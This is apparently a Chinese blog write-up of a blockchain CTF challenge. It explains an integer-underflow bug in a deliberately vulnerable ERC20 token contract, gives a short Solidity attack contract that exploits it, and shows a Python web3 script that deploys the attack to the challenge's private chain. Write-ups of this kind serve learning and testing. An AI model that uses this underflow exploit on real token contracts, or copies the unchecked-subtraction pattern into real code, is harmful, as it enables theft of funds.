区块链学习笔记之RealWorld体验赛——TransferFrom

  1. erc20_fake.sol
  2. deployer.sol
  3. 攻击合约
  4. 解题步骤

erc20_fake.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.6;

abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}

function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}

interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);

/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

contract ERC20 is Context, IERC20 {
using SafeMath for uint256;

mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;
uint8 private _decimals;

constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}

/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}

function symbol() public view returns (string memory) {
return _symbol;
}

function decimals() public view returns (uint8) {
return _decimals;
}

/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}

/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}

function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}

function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}

function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}

function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}

function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}

function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
}

contract Ownable is Context {
address private _owner;

event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FishmenToken is ERC20("FishmenToken", "FMT"), Ownable {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}

function burn(address _from, uint256 _amount) public {
_burn(_from, _amount);
}
}

deployer.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.6.6;

import "./erc20_fake.sol";

contract deployer {
FishmenToken public fishmenToken;
bool public isSvd;

constructor() public {
fishmenToken = new FishmenToken();
}

function solve() public returns (bool) {
require(fishmenToken.balanceOf(msg.sender) > 100,"token balance < 100");
isSvd = true;
}

function isSolved() public view returns (bool) {
return isSvd;
}
}

合约看着很长,搞了一个fishmantoken,但其实漏洞很简单,看到erc20_fake.sol里,虽然用了所谓的safemath,但是注意到合约ERC20里的_transfer函数,

1
2
3
4
5
6
7
8
9
10
11
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}

做transfer的时候他还是用了减号,那依然会造成下溢,【想要用到safemath的功能,这里得用sub】

所以这里我们可以部署一个 attack合约,然后用这个合约调用transfer随便往哪里赚钱,那么他自己的账户的钱就会下溢而变得很多。

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.6.6;
import "./erc20_fake.sol";
import "./deployer.sol";
contract attack{
address public challenge_addr=0x52936ec23b51C2137F4B68aBECe07246bae05B1f; // nc过去,部署的题目(deployer合约)地址
bool public flag;

deployer challenge=deployer(challenge_addr);
address public fishToken_addr=address(challenge.fishmenToken()); // 获取deployer部署的FishmenToken地址

FishmenToken fishtoken=FishmenToken(fishToken_addr); // FishmenToken合约的实例

constructor() public{
fishtoken.transfer(challenge_addr,999); // FishmenToken里攻击合约账户往题目账户(别的啥payable的账户都行)随便转点钱
flag=challenge.solve(); // 调用一下solve完成解题
}
}

解题步骤

和远程交互,建立一个部署题目的账户,

1
2
3
4
5
6
7
[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0xe0Bd3B690dbB74c46d88DaFFE93ed803aEeDC1E2
[+] token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A

然后去8080端口,有水管,往这个账户搞点eth

image-20220123113346702

部署题目

1
2
3
4
5
6
7
8
[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A
[+] contract address: 0x52936ec23b51C2137F4B68aBECe07246bae05B1f
[+] transaction hash: 0xaa10dc803284aa06242d6bff71da8134ac4a6a55dadbfe2a5f062e059f7ef2ae

好了,我们还得再自己建立一个部署攻击合约的账户,这里不能通过交互建立账户,他都不给你私钥,这里的用脚本交互去创建一个账户

1
2
3
4
5
6
from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
w3=Web3(HTTPProvider("http://47.102.47.140:8545/"))
key=w3.eth.account.create()
print(hex(bytes_to_long(key.privateKey)))
account= web3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134')

然后还是,去水管往这个账户打点钱。

接下来我用remix去编译一下攻击合约,拿到他的字节码。或者也可以部署【注意到,这里肯定是部署失败的,但是我们主要想要他的bytecode】

image-20220123114242109

image-20220123114310342

然后我们继续用脚本,在这条私链上部署攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def deploy(rawTx):
signedTx = w3.eth.account.signTransaction(rawTx, private_key=account.privateKey)
hashTx = w3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
receipt = w3.eth.waitForTransactionReceipt(hashTx)
return receipt

if __name__ == '__main__':
rawTx = {
'from': account.address,
'nonce': w3.eth.getTransactionCount(account.address),
'gasPrice': w3.toWei(1,'gwei'),
'gas': 300000,
'value': w3.toWei(0, 'ether'),
'data': '0x60806040527352936ec23b51c2137f4b68abece07246bae05b1f6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634fd0632f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561012157600080fd5b505afa158015610135573d6000803e3d6000fd5b505050506040513d602081101561014b57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561020b57600080fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e76040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102c157600080fd5b505af11580156102d5573d6000803e3d6000fd5b505050506040513d60208110156102eb57600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663890d69086040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561036757600080fd5b505af115801561037b573d6000803e3d6000fd5b505050506040513d602081101561039157600080fd5b8101908080519060200190929190505050600060146101000a81548160ff021916908315150217905550610161806103ca6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80636391e9b214610046578063890eba681461007a578063ba2740831461009a575b600080fd5b61004e6100ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100826100f4565b60405180821515815260200191505060405180910390f35b6100a2610107565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea26469706673582212207ec90564a59b7a55e8597b62d3533f1080a42eaeda42d4d65975915f883fac8a64736f6c634300060c0033',
"chainId": 1211 #私链的chainId可以去metamask导入查一下,是1211
}
receipt = deploy(rawTx)

然后交互去拿flag就好了。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:区块链学习笔记之RealWorld体验赛——TransferFrom

文章字数:1.7k

本文作者:Van1sh

发布时间:2022-01-23, 00:11:00

最后更新:2022-02-11, 16:23:20

原始链接:http://jayxv.github.io/2022/01/23/区块链学习笔记之RealWorld体验赛/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏